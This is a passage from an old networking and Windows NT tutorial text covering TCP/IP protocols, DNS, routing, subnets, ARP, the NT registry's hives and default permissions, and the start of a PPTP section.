  1344. Keep in mind that it has become common practice for some corporations to change a services 
  1345. port number on the server side. If your client software is not configured with the same port 
  1346. number, connection will not be successful. We will discuss later in this text how you can perform 
  1347. port scanning on an entire IP address to see which ports are active.
  1348.  
  1349. [2.1.5] Other IP Protocols
  1350. Protocols other than TCP: UDP and ICMP
  1351.  
  1352. So far, we have described only connections that use TCP. Recall that TCP is responsible for 
  1353. breaking up messages into datagrams, and reassembling them properly. However in many 
  1354. applications, we have
  1355. messages that will always fit in a single datagram. An example is name lookup. When a user 
  1356. attempts to make a connection to another system, he will generally specify the system by name, 
  1357. rather than Internet
  1358. address. His system has to translate that name to an address before it can do anything. 
  1359. Generally, only a few systems have the database used to translate names to addresses. So the 
  1360. user's system will want to send a query to one of the systems that has the database. This query 
  1361. is going to be very short. It will certainly fit in one datagram. So will the answer. Thus it seems 
  1362. silly to use TCP. Of course TCP does
  1363. more than just break things up into datagrams. It also makes sure that the data arrives, resending 
  1364. datagrams where necessary. But for a question that fits in a single datagram, we don't need all 
  1365. the
  1366. complexity of TCP to do this. If we don't get an answer after a few seconds, we can just ask 
  1367. again. For applications like this, there are alternatives to TCP.
  1368.  
  1369. The most common alternative is UDP ("user datagram protocol"). UDP is designed for 
  1370. applications where you don't need to put sequences of datagrams together. It fits into the system 
  1371. much like TCP. There is a
  1372. UDP header. The network software puts the UDP header on the front of your data, just as it 
  1373. would put a TCP header on the front of your data. Then UDP sends the data to IP, which adds 
  1374. the IP header, putting
  1375. UDP's protocol number in the protocol field instead of TCP's protocol number. However UDP 
  1376. doesn't do as much as TCP does. It doesn't split data into multiple datagrams. It doesn't keep 
  1377. track of what it has
  1378. sent so it can resend if necessary. About all that UDP provides is port numbers, so that several 
  1379. programs can use UDP at once. UDP port numbers are used just like TCP port numbers. There 
  1380. are well-known port
  1381. numbers for servers that use UDP. Note that the UDP header is shorter than a TCP header. It still 
  1382. has source and destination port numbers, and a checksum, but that's about it. No sequence 
  1383. number, since it is not needed. UDP is used by the protocols that handle name lookups (see IEN 
  1384. 116, RFC 882, and RFC 883), and a number of similar protocols.
  1385.  
  1386. Another alternative protocol is ICMP ("Internet Control Message Protocol"). ICMP is used for error 
  1387. messages, and other messages intended for the TCP/IP software itself, rather than any particular
  1388. user program. For example, if you attempt to connect to a host, your system may get back an 
  1389. ICMP message saying "host unreachable". ICMP can also be used to find out some information 
  1390. about the network. See RFC 792 for details of ICMP. ICMP is similar to UDP, in that it handles 
  1391. messages that fit in one datagram. However it is even simpler than UDP. It doesn't even have 
  1392. port numbers in its header. Since all ICMP messages are interpreted by the network software 
  1393. itself, no port numbers are needed to say where a ICMP message is supposed to go.
  1394.  
  1395. [2.1.6] Domain Name System
  1396. Keeping track of names and information: the domain system
  1397.  
  1398. As we indicated earlier, the network software generally needs a 32-bit Internet address in order to 
  1399. open a connection or send a datagram. However users prefer to deal with computer names rather 
  1400. than
  1401. numbers. Thus there is a database that allows the software to look up a name and find the 
  1402. corresponding number. When the Internet was small, this was easy. Each system would have a 
  1403. file that listed all of the
  1404. other systems, giving both their name and number. There are now too many computers for this 
  1405. approach to be practical. Thus these files have been replaced by a set of name servers that keep 
  1406. track of host
  1407. names and the corresponding Internet addresses. (In fact these servers are somewhat more 
  1408. general than that. This is just one kind of information stored in the domain system.)
  1409.  
  1410. Note that a set of interlocking servers are used, rather than a single central one. There are now 
  1411. so many different institutions connected to the Internet that it would be impractical for them to 
  1412. notify a central
  1413. authority whenever they installed or moved a computer. Thus naming authority is delegated to 
  1414. individual institutions. The name servers form a tree, corresponding to institutional structure. The 
  1415. names
  1416. themselves follow a similar structure.
  1417.  
  1418. A typical example is the name BORAX.LCS.MIT.EDU. This is a computer at the Laboratory for 
  1419. Computer Science (LCS) at MIT. In order to find its Internet address, you might potentially have 
  1420. to consult 4
  1421. different servers. First, you would ask a central server (called the root) where the EDU server is. 
  1422. EDU is a server that keeps track of educational institutions. The root server would give you the 
  1423. names and
  1424. Internet addresses of several servers for EDU. (There are several servers at each level, to allow 
  1425. for the possibly that one might be down.) You would then ask EDU where the server for MIT is. 
  1426. Again, it
  1427. would give you names and Internet addresses of several servers for MIT. Generally, not all of 
  1428. those servers would be at MIT, to allow for the possibility of a general power failure at MIT. Then 
  1429. you would ask
  1430. MIT where the server for LCS is, and finally you would ask one of the LCS servers about BORAX. 
  1431. The final result would be the Internet address for BORAX.LCS.MIT.EDU. Each of these levels is 
  1432. referred to as
  1433. a "domain". The entire name, BORAX.LCS.MIT.EDU, is called a "domain name". (So are the 
  1434. names of the higher-level domains, such as LCS.MIT.EDU, MIT.EDU, and EDU.)
  1435.  
  1436. Fortunately, you don't really have to go through all of this most of the time. First of all, the root 
  1437. name servers also happen to be the name servers for the top-level domains such as EDU. Thus 
  1438. a single
  1439. query to a root server will get you to MIT. Second, software generally remembers answers that it 
  1440. got before. So once we look up a name at LCS.MIT.EDU, our software remembers where to find 
  1441. servers for
  1442. LCS.MIT.EDU, MIT.EDU, and EDU. It also remembers the translation of BORAX.LCS.MIT.EDU. 
  1443. Each of these pieces of information has a "time to live" associated with it. Typically this is a few 
  1444. days. After that,
  1445. the information expires and has to be looked up again. This allows institutions to change things.
  1446.  
  1447. The domain system is not limited to finding out Internet addresses. Each domain name is a node 
  1448. in a database. The node can have records that define a number of different properties. Examples 
  1449. are
  1450. Internet address, computer type, and a list of services provided by a computer. A program can 
  1451. ask for a specific piece of information, or all information about a given name. It is possible for a 
  1452. node in the
  1453. database to be marked as an "alias" (or nickname) for another node. It is also possible to use the 
  1454. domain system to store information about users, mailing lists, or other objects.
  1455.  
  1456. There is an Internet standard defining the operation of these databases, as well as the protocols 
  1457. used to make queries of them. Every network utility has to be able to make such queries, since 
  1458. this is now the official way to evaluate host names. Generally utilities will talk to a server on their 
  1459. own system. This server will take care of contacting the other servers for them. This keeps down 
  1460. the amount of code that has to be in each application program.
  1461.  
  1462. The domain system is particularly important for handling computer mail. There are entry types to 
  1463. define what computer handles mail for a given name, to specify where an individual is to receive 
  1464. mail, and to
  1465. define mailing lists.  (See RFC's 882, 883, and 973 for specifications of the domain system. RFC 
  1466. 974 defines the use of the domain system in sending mail.)
  1467.  
  1468. [2.1.7] Routing
  1469.  
  1470. The description above indicated that the IP implementation is responsible for getting datagrams 
  1471. to the destination indicated by the destination address, but little was said about how this would be
  1472. done. The task of finding how to get a datagram to its destination is referred to as "routing". In 
  1473. fact many of the details depend upon the particular implementation. However some general 
  1474. things can be said.
  1475.  
  1476. First, it is necessary to understand the model on which IP is based. IP assumes that a system is 
  1477. attached to some local network. We assume that the system can send datagrams to any other 
  1478. system on its own network. (In the case of Ethernet, it simply finds the Ethernet address of the 
  1479. destination system, and puts the datagram out on the Ethernet.) The problem comes when a 
  1480. system is asked to send a datagram to a system on a different network. This problem is handled 
  1481. by gateways. A gateway is a system that connects a network with one or more other networks. 
  1482. Gateways are often normal computers that happen to have more than one network interface. For 
  1483. example, we have a Unix machine that has two different Ethernet interfaces. Thus it is connected 
  1484. to networks 128.6.4 and 128.6.3. This machine can act as a gateway between those two 
  1485. networks. The software on that machine must be set up so that it will forward datagrams from one 
  1486. network to the other. That is, if a machine on network 128.6.4 sends a datagram to the gateway, 
  1487. and the datagram is addressed to a machine on network
  1488. 128.6.3, the gateway will forward the datagram to the destination. Major communications centers 
  1489. often have gateways that connect a number of different networks. (In many cases, special-
  1490. purpose gateway systems provide better performance or reliability than general-purpose systems 
  1491. acting as gateways. A number of vendors sell such systems.)
  1492.  
  1493. Routing in IP is based entirely upon the network number of the destination address. Each 
  1494. computer has a table of network numbers. For each network number, a gateway is listed. This is 
  1495. the gateway to be
  1496. used to get to that network. Note that the gateway doesn't have to connect directly to the network. 
  1497. It just has to be the best place to go to get there. For example at Rutgers, our interface to NSFnet 
  1498. is at
  1499. the John von Neuman Supercomputer Center (JvNC). Our connection to JvNC is via a high-
  1500. speed serial line connected to a gateway whose address is 128.6.3.12. Systems on net 128.6.3 
  1501. will list 128.6.3.12 as
  1502. the gateway for many off-campus networks. However systems on net 128.6.4 will list 128.6.4.1 as 
  1503. the gateway to those same off-campus networks. 128.6.4.1 is the gateway between networks 
  1504. 128.6.4 and
  1505. 128.6.3, so it is the first step in getting to JvNC.
  1506.  
  1507. When a computer wants to send a datagram, it first checks to see if the destination address is on 
  1508. the system's own local network. If so, the datagram can be sent directly. Otherwise, the system 
  1509. expects to
  1510. find an entry for the network that the destination address is on. The datagram is sent to the 
  1511. gateway listed in that entry. This table can get quite big. For example, the Internet now includes 
  1512. several hundred
  1513. individual networks. Thus various strategies have been developed to reduce the size of the 
  1514. routing table. One strategy is to depend upon "default routes". Often, there is only one gateway 
  1515. out of a network. This gateway might connect a local Ethernet to a campus-wide backbone 
  1516. network. In that case, we don't need to have a separate entry for every network in the world. We 
  1517. simply define that gateway as a "default". When no specific route is found for a datagram, the 
  1518. datagram is sent to the default gateway. A default gateway can even be used when there are 
  1519. several gateways on a network. There are provisions for gateways to send a message saying "I'm 
  1520. not the best gateway -- use this one instead." (The message is sent via ICMP. See RFC 792.) 
  1521. Most network software is designed to use these messages to add entries to their routing tables. 
  1522. Suppose network 128.6.4 has two gateways, 128.6.4.59 and 128.6.4.1. 128.6.4.59 leads to 
  1523. several other internal Rutgers networks. 128.6.4.1 leads indirectly to the NSFnet. Suppose we set 
  1524. 128.6.4.59 as a default gateway, and have no other routing table entries. Now what happens 
  1525. when we need to send a datagram to MIT? MIT is network 18. Since we have no entry for 
  1526. network 18, the datagram will be sent to the default, 128.6.4.59. As it happens, this gateway is 
  1527. the wrong one. So it will forward the
  1528. datagram to 128.6.4.1. But it will also send back an error saying in effect: "to get to network 18, 
  1529. use 128.6.4.1". Our software will then add an entry to the routing table. Any future datagrams to 
  1530. MIT will then go directly to 128.6.4.1. (The error message is sent using the ICMP protocol. The 
  1531. message type is called "ICMP redirect.")
  1532.  
  1533. Most IP experts recommend that individual computers should not try to keep track of the entire 
  1534. network. Instead, they should start with default gateways, and let the gateways tell them the 
  1535. routes, as just
  1536. described. However this doesn't say how the gateways should find out about the routes. The 
  1537. gateways can't depend upon this strategy. They have to have fairly complete routing tables. For 
  1538. this, some sort of
  1539. routing protocol is needed. A routing protocol is simply a technique for the gateways to find each 
  1540. other, and keep up to date about the  best way to get to every network. RFC 1009 contains a 
  1541. review of
  1542. gateway design and routing. However rip.doc is probably a better introduction to the subject. It 
  1543. contains some tutorial material, and a detailed description of the most commonly-used routing 
  1544. protocol.
  1545.  
  1546. [2.1.8] Subnets and Broadcasting
  1547. Details about Internet Addresses: Subnets and Broadcasting
  1548.  
  1549. As indicated earlier, Internet addresses are 32-bit numbers, normally written as 4 octets (in 
  1550. decimal), e.g. 128.6.4.7. There are actually 3 different types of address. The problem is that the 
  1551. address has to
  1552. indicate both the network and the host within the network. It was felt that eventually there would 
  1553. be lots of networks. Many of them would be small, but probably 24 bits would be needed to 
  1554. represent all the IP
  1555. networks. It was also felt that some very big networks might need 24 bits to represent all of their 
  1556. hosts. This would seem to lead to 48 bit addresses. But the designers really wanted to use 32 bit
  1557. addresses. So they adopted a kludge.
  1558.  
  1559. The assumption is that most of the networks will be small. So they set up three different ranges of 
  1560. address. Addresses beginning with 1 to 126 use only the first octet for the network number. The 
  1561. other three octets are available for the host number. Thus 24 bits are available for hosts. These 
  1562. numbers are used for large networks. But there can only be 126 of these very big networks. The 
  1563. Arpanet is one, and there are a few large commercial networks. But few normal organizations get 
  1564. one of these "class A" addresses. For normal large organizations, "class B" addresses are used. 
  1565. Class B addresses use the first two octets for the network number. Thus network numbers are 
  1566. 128.1 through 191.254. (We avoid 0 and 255, for reasons that we see below. We also avoid 
  1567. addresses beginning with 127, because that is used by some systems for special purposes.) The 
  1568. last two octets are available for host addesses, giving 16 bits of host address. This allows for 
  1569. 64516 computers, which should be enough for most organizations. (It is possible to get more than 
  1570. one class B address, if you run out.) Finally, class C addresses use three octets, in the range 
  1571. 192.1.1 to 223.254.254. These allow only 254 hosts on each network, but there can
  1572. be lots of these networks. Addresses above 223 are reserved for future use, as class D and E 
  1573. (which are currently not defined).
  1574.  
  1575. Many large organizations find it convenient to divide their network number into "subnets". For 
  1576. example, Rutgers has been assigned a class B address, 128.6. We find it convenient to use the 
  1577. third octet of the
  1578. address to indicate which Ethernet a host is on. This division has no significance outside of 
  1579. Rutgers. A computer at another institution would treat all datagrams addressed to 128.6 the same 
  1580. way. They would
  1581. not look at the third octet of the address. Thus computers outside Rutgers would not have 
  1582. different routes for 128.6.4 or 128.6.5. But inside Rutgers, we treat 128.6.4 and 128.6.5 as 
  1583. separate networks. In
  1584. effect, gateways inside Rutgers have separate entries for each Rutgers subnet, whereas 
  1585. gateways outside Rutgers just have one entry for 128.6.
  1586.  
  1587. Note that we could do exactly the same thing by using a separate class C address for each 
  1588. Ethernet. As far as Rutgers is concerned, it would be just as convenient for us to have a number 
  1589. of class C
  1590. addresses. However using class C addresses would make things inconvenient for the rest of the 
  1591. world. Every institution that wanted to talk to us would have to have a separate entry for each one 
  1592. of our
  1593. networks. If every institution did this, there would be far too many networks for any reasonable 
  1594. gateway to keep track of. By subdividing a class B network, we hide our internal structure from 
  1595. everyone else,
  1596. and save them trouble. This subnet strategy requires special provisions in the network software. It 
  1597. is described in RFC 950.
  1598.  
  1599. 0 and 255 have special meanings. 0 is reserved for machines that don't know their address. In 
  1600. certain circumstances it is possible for a machine not to know the number of the network it is on, 
  1601. or even its
  1602. own host address. For example, 0.0.0.23 would be a machine that knew it was host number 23, 
  1603. but didn't know on what network.
  1604.  
  1605. 255 is used for "broadcast". A broadcast is a message that you want every system on the 
  1606. network to see. Broadcasts are used in some situations where you don't know who to talk to. For 
  1607. example, suppose
  1608. you need to look up a host name and get its Internet address. Sometimes you don't know the 
  1609. address of the nearest name server. In that case, you might send the request as a broadcast. 
  1610. There are also cases where a number of systems are interested in information. It is then less 
  1611. expensive to send a single broadcast than to send datagrams individually to each host that is 
  1612. interested in the information. In order to send a broadcast, you use an address that is made by 
  1613. using your network address, with all ones in the part of the address where the host number goes. 
  1614. For example, if you are on network 128.6.4, you would use 128.6.4.255 for broadcasts. How this 
  1615. is actually implemented depends upon the medium. It is not possible to send broadcasts on the 
  1616. Arpanet, or on point to point lines. However it is possible on an Ethernet. If you use an Ethernet 
  1617. address with all its bits on (all ones), every machine on the Ethernet is supposed to look at that 
  1618. datagram.
  1619.  
  1620. Although the official broadcast address for network 128.6.4 is now 128.6.4.255, there are some 
  1621. other addresses that may be treated as broadcasts by certain implementations. For convenience, 
  1622. the standard
  1623. also allows 255.255.255.255 to be used. This refers to all hosts on the local network. It is often 
  1624. simpler to use 255.255.255.255 instead of finding out the network number for the local network 
  1625. and forming a
  1626. broadcast address such as 128.6.4.255. In addition, certain older implementations may use 0 
  1627. instead of 255 to form the broadcast address. Such implementations would use 128.6.4.0 instead 
  1628. of 128.6.4.255 as the broadcast address on network 128.6.4. Finally, certain older 
  1629. implementations may not understand about subnets. Thus they consider the network number to 
  1630. be 128.6. In that case, they will assume a broadcast address of 128.6.255.255 or 128.6.0.0. Until 
  1631. support for broadcasts is implemented properly, it can be a somewhat dangerous feature to use.
  1632.  
  1633. Because 0 and 255 are used for unknown and broadcast addresses, normal hosts should never 
  1634. be given addresses containing 0 or 255. Addresses should never begin with 0, 127, or any 
  1635. number above 223. Addresses violating these rules are sometimes referred to as "Martians", 
  1636. because of rumors that the Central University of Mars is using network 225.
  1637.  
  1638. [2.1.9] Datagram Fragmentation and Reassembly
  1639.  
  1640. TCP/IP is designed for use with many different kinds of network. Unfortunately, network 
  1641. designers do not agree about how big packets can be. Ethernet packets can be 1500 octets long. 
  1642. Arpanet packets have a maximum of around 1000 octets. Some very fast networks have much 
  1643. larger packet sizes. At first, you might think that IP should simply settle on the smallest possible 
  1644. size. Unfortunately, this would cause serious performance problems. When transferring large 
  1645. files, big packets are far more efficient than small ones. So we want to be able to use the largest 
  1646. packet size possible. But we also want to be able to handle networks with small limits.
  1647.  
  1648. There are two provisions for this. First, TCP has the ability to "negotiate" about datagram size. 
  1649. When a TCP connection first opens, both ends can send the maximum datagram size they can 
  1650. handle. The
  1651. smaller of these numbers is used for the rest of the connection. This allows two implementations 
  1652. that can handle big datagrams to use them, but also lets them talk to implementations that can't 
  1653. handle them. However this doesn't completely solve the problem. The most serious problem is 
  1654. that the two ends don't necessarily know about all of the steps in between. For example, when 
  1655. sending data between Rutgers and Berkeley, it is likely that both computers will be on Ethernets. 
  1656. Thus they will both be prepared to handle 1500-octet datagrams. However the connection will at 
  1657. some point end up going over the Arpanet. It can't handle packets of that size. For this reason, 
  1658. there are provisions to split datagrams up into pieces. (This is referred to as "fragmentation".) The 
  1659. IP header contains fields indicating the  datagram has been split, and enough information to let 
  1660. the pieces be put back together. If a gateway connects an Ethernet
  1661. to the Arpanet, it must be prepared to take 1500-octet Ethernet packets and split them into pieces 
  1662. that will fit on the Arpanet. Furthermore, every host implementation of TCP/IP must be prepared 
  1663. to accept pieces and put them back together. This is referred to as "reassembly".
  1664.  
  1665. TCP/IP implementations differ in the approach they take to deciding on datagram size. It is fairly 
  1666. common for implementations to use 576-byte datagrams whenever they can't verify that the 
  1667. entire path is able to
  1668. handle larger packets. This rather conservative strategy is used because of the number of 
  1669. implementations with bugs in the code to reassemble fragments. Implementors often try to avoid 
  1670. ever having fragmentation occur. Different implementors take different approaches to deciding 
  1671. when it is safe to use large datagrams. Some use them only for the local network. Others will use 
  1672. them for any network on the same campus. 576 bytes is a "safe" size, which every 
  1673. implementation must support.
  1674.  
  1675. [2.2.0] Ethernet encapsulation: ARP
  1676.  
  1677. There was a brief discussion earlier about what IP datagrams look like on an Ethernet. The 
  1678. discussion showed the Ethernet header and checksum. However it left one hole: It didn't say how 
  1679. to figure out
  1680. what Ethernet address to use when you want to talk to a given Internet address. In fact, there is a 
  1681. separate protocol for this, called ARP ("address resolution protocol"). (Note by the way that ARP 
  1682. is not an IP protocol. That is, the ARP datagrams do not have IP headers.)
  1683.  
  1684. Suppose you are on system 128.6.4.194 and you want to connect to system 128.6.4.7. Your 
  1685. system will first verify that 128.6.4.7 is on the same network, so it can talk directly via Ethernet. 
  1686. Then it will look up 128.6.4.7 in its ARP table, to see if it already knows the Ethernet address. If 
  1687. so, it will stick on an Ethernet header, and send the packet. But suppose this system is not in the 
  1688. ARP table. There is
  1689. no way to send the packet, because you need the Ethernet address. So it uses the ARP protocol 
  1690. to send an ARP request. Essentially an ARP request says "I need the Ethernet address for 
  1691. 128.6.4.7". Every system listens to ARP requests. When a system sees an ARP request for itself, 
  1692. it is required to respond. So 128.6.4.7 will see the request, and will respond with an ARP reply 
  1693. saying in effect "128.6.4.7 is
  1694. 8:0:20:1:56:34". (Recall that Ethernet addresses are 48 bits. This is 6 octets. Ethernet addresses 
  1695. are conventionally shown in hex, using the punctuation shown.) Your system will save this 
  1696. information in its
  1697. ARP table, so future packets will go directly. Most systems treat the ARP table as a cache, and 
  1698. clear entries in it if they have not been used in a certain period of time.
  1699.  
  1700. Note by the way that ARP requests must be sent as "broadcasts". There is no way that an ARP 
  1701. request can be sent directly to the right system. After all, the whole reason for sending an ARP 
  1702. request is that
  1703. you don't know the Ethernet address. So an Ethernet address of all ones is used, i.e. ff:ff:ff:ff:ff:ff. 
  1704. By convention, every machine on the Ethernet is required to pay attention to packets with this as 
  1705. an
  1706. address. So every system sees every ARP requests. They all look to see whether the request is 
  1707. for their own address. If so, they respond. If not, they could just ignore it. (Some hosts will use 
  1708. ARP requests to
  1709. update their knowledge about other hosts on the network, even if the request isn't for them.) Note 
  1710. that packets whose IP address indicates broadcast (e.g. 255.255.255.255 or 128.6.4.255) are 
  1711. also sent with an Ethernet address that is all ones.
  1712.  
  1713. [3.0.0] Preface to the WindowsNT Registry
  1714.  
  1715. This section is not meant for NT engineers that already know the registry, and its not meant for 
  1716. people that have read the 800+ page books on the registry IÆve seen. This section is meant as a 
  1717. quick guide to get people understanding exactly what this registry thing is. 
  1718.  
  1719. [3.0.1] What is the Registry?
  1720.  
  1721. The windows registry provides for a somewhat secure, unified database that stores configuration 
  1722. information into a hierarchical model. Until recently, configuration files such as WIN.INI, were the 
  1723. only way to configure windows applications and operating system functions. In todays NT 4 
  1724. environment, the registry replaces these .INI files. Each key in the registry is similar to bracketed 
  1725. headings in an .INI file.
  1726.  
  1727. One of the main disadvantages to the older .INI files is that those files are flat text files, which are 
  1728. unable to support nested headings or contain data other than pure text. Registry keys can contain 
  1729. nested headings in the form of subkeys. These subkeys provide finer details and a greater range 
  1730. to the possible configuration information for a particular operating system. Registry values can 
  1731. also consist of executable code, as well as provide individual preferences for multiple users of the 
  1732. same computer. The ability to store executable code within the Registry extends its usage to 
  1733. operating system system and application developers. The ability to store user-specific profile 
  1734. information allows one to tailor the environment for specific individual users.
  1735.  
  1736. To view the registry of an NT server, one would use the Registry Editor tool. There are two 
  1737. versions of Registry Editor:
  1738.  
  1739. .:Regedt32.exe has the most menu items and more choices for the menu items. You can search 
  1740. for keys and subkeys in the registry.
  1741.  
  1742. .:Regedit.exe enables you to search for strings, values, keys, and subkeys and export keys to 
  1743. .reg files. This feature is useful if you want to find specific data.
  1744.  
  1745. For ease of use, the Registry is divided into five seperate structures that represent the Registry 
  1746. database in its entirety. These five groups are known as Keys, and are discussed below:
  1747.  
  1748. [3.0.2] In Depth Key Discussion
  1749.  
  1750. HKEY_CURRENT_USER
  1751. This registry key contains the configuration information for the user that is currently logged in. The 
  1752. users folders, screen colors, and control panel settings are stored here. This information is known 
  1753. as a User Profile.
  1754.  
  1755. HKEY_USERS
  1756. In windowsNT 3.5x, user profiles were stored locally (by default) in the 
  1757. systemroot\system32\config directory. In NT4.0, they are stored in the systemroot\profiles 
  1758. directory. User-Specific information is kept there, as well as common, system wide user 
  1759. information.
  1760.  
  1761. This change in storage location has been brought about to parallel the way in which Windows95 
  1762. handles its user profiles. In earlier releases of NT, the user profile was stored as a single file - 
  1763. either locally in the \config directory or centrally on a server. In windowsNT 4, the single user 
  1764. profile has been broken up into a number of subdirectories located below the \profiles directory. 
  1765. The reason for this is mainly due to the way in which the Win95 and WinNT4 operating systems 
  1766. use the underlying directory structure to form part of their new user interface.
  1767.  
  1768. A user profile is now contained within the NtUser.dat (and NtUser.dat.log) files, as well as the 
  1769. following subdirectories:
  1770.  
  1771. ? Application Data: This is a place to store application data specific to this particular user.
  1772. ? Desktop: Placing an icon or a shortcut into this folder causes the that icon or shortcut to 
  1773. appear on the desktop of the user.
  1774. ? Favorites: Provides a user with a personlized storage place for files, shortcuts and other 
  1775. information.
  1776. ? NetHood: Maintains a list of personlized network connections.
  1777. ? Personal: Keeps track of personal documents for a particular user.
  1778. ? PrintHood: Similar to NetHood folder, PrintHood keeps track of printers rather than network 
  1779. connections.
  1780. ? Recent: Contains information of recently used data.
  1781. ? SendTo: Provides a centralized store of shortcuts and output devices.
  1782. ? Start Menu: Contains configuration information for the users menu items.
  1783. ? Templates: Storage location for document templates.
  1784.  
  1785. HKEY_LOCAL_MACHINE
  1786. This key contains configuration information particular to the computer. This information is stored 
  1787. in the systemroot\system32\config directory as persistent operating system files, with the 
  1788. exception of the volatile hardware key.
  1789.  
  1790. The information gleaned from this configuration data is used by applications, device drivers, and 
  1791. the WindowsNT 4 operating system. The latter usage determines what system configuration data 
  1792. to use, without respect to the user currently logged on. For this reason the 
  1793. HKEY_LOCAL_MACHINE regsitry key is of specific importance to administrators who want to 
  1794. support and troubleshoot NT 4.
  1795.  
  1796. HKEY_LOCAL_MACHINE is probably the most important key in the registry and it contains five 
  1797. subkeys:
  1798.  
  1799. ? Hardware: Database that describes the physical hardware in the computer, the way device 
  1800. drivers use that hardware, and mappings and related data that link kernel-mode drivers with 
  1801. various user-mode code. All data in this sub-tree is re-created everytime the system is 
  1802. started.
  1803. ? SAM: The security accounts manager. Security information for user and group accounts and 
  1804. for the domains in NT 4 server.
  1805. ? Security: Database that contains the local security policy, such as specific user rights. This 
  1806. key is used only by the NT 4 security subsystem.
  1807. ? Software: Pre-computer software database. This key contains data about software installed 
  1808. on the local computer, as well as configuration information.
  1809. ? System: Database that controls system start-up, device driver loading, NT 4 services and OS 
  1810. behavior.
  1811.  
  1812. Information about the HKEY_LOCAL_MACHINE\SAM Key
  1813.  
  1814. This subtree contains the user and group accounts in the SAM database for the local computer. 
  1815. For a computer that is running NT 4, this subtree also contains security information for the 
  1816. domain. The information contained within the SAM registry key is what appears in the user 
  1817. interface of the User Manager utility, as well as in the lists of users and groups that appear when 
  1818. you make use of the Security menu commands in NT4 explorer.
  1819.  
  1820. Information about the HKEY_LOCAL_MACHINE\Security key
  1821.  
  1822. This subtree contains security information for the local computer. This includes aspects such as 
  1823. assigning user rights, establishing password policies, and the membership of local groups, which 
  1824. are configurable in User Manager.
  1825.  
  1826. HKEY_CLASSES_ROOT
  1827.  
  1828. The information stored here is used to open the correct application when a file is opened by using 
  1829. Explorer and for Object Linking and Embedding. It is actually a window that reflects information 
  1830. from the HKEY_LOCAL_MACHINE\Software subkey.
  1831.  
  1832. HKEY_CURRENT_CONFIG
  1833.  
  1834. The information contained in this key is to configure settings such as the software and device 
  1835. drivers to load or the display resolution to use. This key has a software and system subkeys, 
  1836. which keep track of configuration information.
  1837.  
  1838. [3.0.3] Understanding Hives
  1839.  
  1840. The registry is divided into parts called hives. These hives are mapped to a single file and a .LOG 
  1841. file. These files are in the systemroot\system32\config directory.
  1842.  
  1843. Registry Hive                    File Name
  1844. =================================================================
  1845. HKEY_LOCAL_MACHINE\SAM            SAM and SAM.LOG
  1846. HKEY_LOCAL_MACHINE\SECURITY        Security and Security.LOG
  1847. HKEY_LOCAL_MACHINE\SOFTWARE        Software and Software.LOG
  1848. HKEY_LOCAL_MACHINE\SYSTEM        System and System.ALT
  1849. =================================================================
  1850.  
  1851. Although I am not gauranteeing that these files will be easy to understand, with a little research 
  1852. and patience, you will learn what you want to learn. I have been asked to write a file on how to 
  1853. decipher the contents of those files, but I have yet to decide weather I will do it or not.
  1854.  
  1855. QuickNotes
  1856.  
  1857. Ownership = The ownership menu item presents a dialog box that identifies the user who owns 
  1858. the selected registry key. The owner of a key can permit another user to take ownership of a key. 
  1859. In addition, a system administrator can assign a user the right to take ownership, or outright take 
  1860. ownership himself.
  1861.  
  1862. REGINI.EXE = This utility is a character based console application that you can use to add keys 
  1863. to the NT registry by specifying a Registry script.
  1864.  
  1865. [3.0.4] Default Registry Settings
  1866.  
  1867. The Following table lists the major Registry hives and some subkeys and the DEFAULT access 
  1868. permissions assigned:
  1869.  
  1870. \\ denotes a major hive        \denotes a subkey of the prior major hive
  1871.  
  1872. \\HKEY_LOCAL_MACHINE
  1873.  
  1874.         Admin-Full Control
  1875.         Everyone-Read Access
  1876.         System-Full Control
  1877.  
  1878.  \HARDWARE
  1879.  
  1880.         Admin-Full Control
  1881.         Everyone-Read Access
  1882.         System-Full Control
  1883.  
  1884.  \SAM
  1885.  
  1886.         Admin-Full Control
  1887.         Everyone-Read Access
  1888.         System-Full Control
  1889.  
  1890.  \SECURITY
  1891.  
  1892.         Admin-Special (Write DAC, Read Control)
  1893.         System-Full Control
  1894.  
  1895.  \SOFTWARE
  1896.  
  1897.         Admin-Full Control
  1898.         Creator Owner-Full Control
  1899.         Everyone-Special (Query, Set, Create, Enumerate, Notify, Delete, Read)
  1900.         System-Full Control
  1901.  
  1902.  \SYSTEM
  1903.  
  1904.         Admin-Special (Query, Set, Create, Enumerate, Notify, Delete, Read)
  1905.         Everyone-Read Access
  1906.         System-Full Control
  1907.  
  1908. \\HKEY_CURRENT_USER
  1909.  
  1910.         Admin-Full Control
  1911.         Current User-Full Control
  1912.         System-Full Control
  1913.  
  1914. \\HKEY_USERS
  1915.         
  1916.         Admin-Full Control
  1917.         Current User-Full Control
  1918.         System-Full Control
  1919.  
  1920. \\HKET_CLASSES_ROOT
  1921.  
  1922.         Admin-Full Control
  1923.         Creator Owner-Full Control
  1924.         Everyone-Special (Query, Set, Create, Enumerate, Notify, Delete, Read)
  1925.         System-Full Control
  1926.  
  1927. \\HKEY_CURRENT CONFIG
  1928.     
  1929.         Admin-Full Control
  1930.         Creator Owner-Full Control
  1931.         Everyone-Read Access
  1932.         System-Full Control
  1933.  
  1934. [4.0.0] Introduction to PPTP
  1935.  
  1936. Point-To-Point Tunneling Protocol (PPTP) is a protocol that allows the secure exchange of data 
  1937. from a client to a server by forming a Virtual Private Network (VPN) via a TCP/IP based network. 
  1938. The strong point of PPTP is its ability to provide on demand, multi-protocol support over existing 
  1939. network infrastructure, such as the Internet. This ability would allow a company to use the Internet 
  1940. to establish a virtual private network without the expense of a leased line.
  1941.  
  1942. The technology that makes PPTP possible is an extension of the remote access Point-To-Point 
  1943. Protocol (PPP- which is defined and documented by the Internet Engineering Task Force in RFC 
  1944. 1171).  PPTP technology encapsulates PPP packets into IP datagrams for transmission over 
  1945. TCP/IP based networks. PPTP is currently a protocol draft awaiting standardization. The 
  1946. companies involved in the PPTP forum are Microsoft, Ascend Communications, 3Com/Primary 
  1947. Access, ECI Telematics, and US Robotics.
  1948.  
  1949. [4.0.1] PPTP and Virtual Private Networking
  1950.  
  1951. The Point-To-Point Tunneling Protocol is packaged with WindowsNT 4.0 Server and Workstation. 
  1952. PC's that are running this protocol  can use it to securely connect to a private network as a 
  1953. remote access client using a public data network such as the Internet. 
  1954.  
  1955. A major feature in the use of PPTP is its support for virtual private networking. The best part of 
  1956. this feature is that it supports VPN's over public-switched telephone networks (PSTNs). By using 
  1957. PPTP a company can greatly reduce the cost of deploying a wide area, remote access solution 
  1958. for mobile users because it provides secure and encrypted communications over existing network 
  1959. structures like PSTNs or the Internet.
  1960.  
  1961. [4.0.2] Standard PPTP Deployment
  1962.  
